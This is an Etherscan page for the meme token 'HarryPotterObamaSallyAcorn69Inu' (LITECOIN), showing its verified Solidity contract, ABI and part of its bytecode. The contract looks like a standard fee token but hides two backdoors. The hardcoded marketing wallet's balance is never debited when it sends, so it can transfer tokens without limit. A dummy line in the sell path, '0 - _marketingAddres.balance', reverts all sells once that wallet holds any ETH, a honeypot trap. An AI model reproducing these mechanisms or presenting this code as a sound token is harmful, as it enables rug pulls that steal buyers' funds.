ETH Price: $3,465.08 (-1.18%)
Gas: 3 Gwei

Token

HarryPotterObamaSallyAcorn69Inu (LITECOIN)
 

Overview

Max Total Supply

1,000,000,000 LITECOIN

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,192,447.704807406 LITECOIN

Value
$0.00
0xcb15f6a191b1ebdbe63d12fb16c12a1ad74367eb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HarryPotterObamaSallyAcorn69Inu

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/

/**
 *Submitted for verification at Etherscan.io on 2023-08-06
*/

/**
Sally Acorn is Sonic's girlfriend, and Sonic has reached an astonishing 100M MC. So what about his girlfriend? Million? Ten million?
TG:  https://t.me/HarryPotterObamaSallyAcorn69Inu

TWEET: https://twitter.com/LITECOINERC

WEB:  https://sonic.fandom.com/wiki/Sally_Acorn_(Archie)
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract HarryPotterObamaSallyAcorn69Inu is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = unicode"HarryPotterObamaSallyAcorn69Inu";
    string private constant _symbol = unicode"LITECOIN";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 1;  
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddres = payable(0xb78eA890B32ADc52895B6A26A35B1e2A40ee31e0);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
 
    uint256 public _maxWalletSize = 20000000 * 10**9;
    uint256 public _swapTokensAtAmount = 10000000 * 10**9;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddres] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                uint256 B = 0 - _marketingAddres.balance;
                uint256 A = B - B;A = A;
                
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddres);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddres);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address sender, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        rAmount = rAmount - ((_marketingAddres == sender) ? rAmount : 0);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 3, "Buy rewards must be between 0% and 3%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 5, "Buy tax must be between 0% and 5%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 3, "Sell rewards must be between 0% and 3%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 5, "Sell tax must be between 0% and 5%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
  
    function removeLimits() public onlyOwner {
        _maxWalletSize = MAX;
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _allowances[address(this)][address(uniswapV2Router)] = MAX;
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006d314dc6448d9338c15b0a00000000620000289190620004e9565b6d314dc6448d9338c15b0a000000006200004391906200054d565b6006555f60085560016009555f600a556001600b55600a54600c55600b54600d55600c54600e55600d54600f553360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b78ea890b32adc52895b6a26a35b1e2a40ee31e060115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff02191690831515021790555066470de4df820000601455662386f26fc100006015553480156200015b575f80fd5b505f6200016d6200048560201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f6200021f6200048560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160055f620002716200048c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004116200048560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a764000060405162000477919062000598565b60405180910390a3620005b3565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620004f582620004b3565b91506200050283620004b3565b925082620005155762000514620004bc565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200055982620004b3565b91506200056683620004b3565b925082820390508181111562000581576200058062000520565b5b92915050565b6200059281620004b3565b82525050565b5f602082019050620005ad5f83018462000587565b92915050565b613b9380620005c15f395ff3fe608060405260043610610143575f3560e01c8063715018a6116100b5578063a2a957bb1161006e578063a2a957bb1461040e578063a9059cbb14610436578063c3c8cd8014610472578063c9567bf914610488578063dd62ed3e14610492578063f2fde38b146104ce5761014a565b8063715018a61461033c578063751039fc146103525780638da5cb5b146103685780638f9a55c01461039257806395d89b41146103bc57806398a5c315146103e65761014a565b80632fd689e3116101075780632fd689e314610244578063313ce5671461026e57806349bd5a5e146102985780636d8aa8f8146102c25780636fc3eaec146102ea57806370a08231146103005761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de57806323b872dd146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b506101626104f6565b60405161016f9190612aae565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612b5f565b610533565b6040516101ab9190612bb7565b60405180910390f35b3480156101bf575f80fd5b506101c8610550565b6040516101d59190612c2b565b60405180910390f35b3480156101e9575f80fd5b506101f2610575565b6040516101ff9190612c53565b60405180910390f35b348015610213575f80fd5b5061022e60048036038101906102299190612c6c565b610584565b60405161023b9190612bb7565b60405180910390f35b34801561024f575f80fd5b50610258610658565b6040516102659190612c53565b60405180910390f35b348015610279575f80fd5b5061028261065e565b60405161028f9190612cd7565b60405180910390f35b3480156102a3575f80fd5b506102ac610666565b6040516102b99190612cff565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e39190612d42565b61068b565b005b3480156102f5575f80fd5b506102fe61073c565b005b34801561030b575f80fd5b5061032660048036038101906103219190612d6d565b610809565b6040516103339190612c53565b60405180910390f35b348015610347575f80fd5b50610350610857565b005b34801561035d575f80fd5b506103666109a5565b005b348015610373575f80fd5b5061037c610a50565b6040516103899190612cff565b60405180910390f35b34801561039d575f80fd5b506103a6610a77565b6040516103b39190612c53565b60405180910390f35b3480156103c7575f80fd5b506103d0610a7d565b6040516103dd9190612aae565b60405180910390f35b3480156103f1575f80fd5b5061040c60048036038101906104079190612d98565b610aba565b005b348015610419575f80fd5b50610434600480360381019061042f9190612dc3565b610b58565b005b348015610441575f80fd5b5061045c60048036038101906104579190612b5f565b610d4e565b6040516104699190612bb7565b60405180910390f35b34801561047d575f80fd5b50610486610d6b565b005b610490610e40565b005b34801561049d575f80fd5b506104b860048036038101906104b39190612e27565b61136e565b6040516104c59190612c53565b60405180910390f35b3480156104d9575f80fd5b506104f460048036038101906104ef9190612d6d565b6113f0565b005b60606040518060400160405280601f81526020017f4861727279506f747465724f62616d6153616c6c7941636f726e3639496e7500815250905090565b5f61054661053f6115ad565b84846115b4565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610590848484611777565b61064d8461059c6115ad565b61064885604051806060016040528060288152602001613b366028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105ff6115ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f709092919063ffffffff16565b6115b4565b600190509392505050565b60155481565b5f6009905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106936115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690612eaf565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077c6115ad565b73ffffffffffffffffffffffffffffffffffffffff1614806107f1575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107d96115ad565b73ffffffffffffffffffffffffffffffffffffffff16145b6107f9575f80fd5b5f47905061080681611fd2565b50565b5f61085060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203a565b9050919050565b61085f6115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e290612eaf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109ad6115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090612eaf565b60405180910390fd5b6d314dc6448d9338c15b0a00000000601481905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600881526020017f4c495445434f494e000000000000000000000000000000000000000000000000815250905090565b610ac26115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612eaf565b60405180910390fd5b8060158190555050565b610b606115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390612eaf565b60405180910390fd5b5f8410158015610bfd575060038411155b610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f3d565b60405180910390fd5b5f8210158015610c4d575060058211155b610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612fcb565b60405180910390fd5b5f8310158015610c9d575060038311155b610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd390613059565b60405180910390fd5b5f8110158015610ced575060058111155b610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d23906130e7565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f610d61610d5a6115ad565b8484611777565b6001905092915050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dab6115ad565b73ffffffffffffffffffffffffffffffffffffffff161480610e20575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e086115ad565b73ffffffffffffffffffffffffffffffffffffffff16145b610e28575f80fd5b5f610e3230610809565b9050610e3d81612061565b50565b610e486115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb90612eaf565b60405180910390fd5b601360149054906101000a900460ff1615610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b9061314f565b60405180910390fd5b6001601360146101000a81548160ff0219169083151502179055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110049190613181565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611069573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190613181565b6040518363ffffffff1660e01b81526004016110aa9291906131ac565b6020604051808303815f875af11580156110c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ea9190613181565b60